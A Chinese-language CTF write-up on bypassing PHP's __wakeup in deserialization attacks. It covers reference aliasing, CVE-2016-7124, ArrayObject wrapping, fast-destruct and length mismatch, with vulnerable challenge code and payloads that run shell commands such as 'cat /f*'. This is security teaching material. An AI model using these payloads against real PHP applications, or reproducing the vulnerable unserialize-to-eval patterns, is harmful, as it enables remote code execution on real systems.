反序列化中_wakeup的绕过

文章目录


前言

反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。

绕过方法

变量引用

两个变量同时指向同一个内存地址

例题:[UUCTF 2022 新生赛]ez_unser

源代码

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a;
    public $b;
    public $c;
    public function __construct(){
        $this->a=1;
        $this->b=2;
        $this->c=3;
    }
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
    die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);

分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。

同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()

payload

<?php
class test{
    public $a;
    public $b;
    public $c;  
}
$t=new test();
$t->c="system('ls /');";
$t->b=&$t->a;
echo serialize($t);
?>

注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值

属性个数不匹配(cve-2016-7124)

影响范围:

  • PHP5 < 5.6.25

  • PHP7 < 7.0.10

正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

例题:攻防世界 unserialize3

源代码

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

分析一下,如果我们反序列化的话就会调用__wakeup()

然后就触发exit('bad requests');,我们只需要属性个数加一即可绕过

payload

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a=new xctf();
echo serialize($a);
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
修改成下面
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
?>

C绕过

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。

常规绕过

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
变成下面
C:4:"User":2:{}

C进阶绕过

例题:愚人杯3rd [easy_php]

 <?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

分析一下,核心是绕过_wakeup

<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

} 
$a=new ctfshow();
echo serialize($a);
//O:7:"ctfshow":0:{}

我们直接改成C试试,发现根本没有命令执行的步骤

payload

 <?php
     
class ctfshow{
	public $ctfshow="cat /f*";
}
$a = new ArrayObject;
$a -> a = new ctfshow;
echo serialize($a);
?>

然后再编码一下,就可以得到flag

fast-destruct

本质上就是利用GC回收机制。

方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

//正常payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}
//删除末尾花括号payload:
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";
//数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}

其余GC回收机制

属性值的长度不匹配

具体形式

//正常payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}
相关推荐
网络安全工程师老王14 分钟前
flask请求头回显的学习和探究如何进行错误页面污染回显
web安全·网络安全·信息安全·flask
阳光帅气男孩44 分钟前
thinkphp中对请求封装
php
jokerest1231 小时前
pwn——test_your_nc1——测试
开发语言·php
白初&2 小时前
权限的相关内容
web安全
群联云防护小杜3 小时前
为什么DDoS防御很贵?
网络·网络协议·web安全·ddos
网络安全King4 小时前
[网络安全系列面试题] GET 和 POST 的区别在哪里?
网络·安全·web安全
网络安全Ash4 小时前
企业网络安全之OPENVPN
开发语言·网络·php
荒-漠4 小时前
php CURL请求502
开发语言·php
IT-sec6 小时前
Apache OFBiz xmlrpc XXE漏洞(CVE-2018-8033)
安全·web安全·网络安全·系统安全
白初&7 小时前
文件上传代码分析
java·c++·python·php·代码审计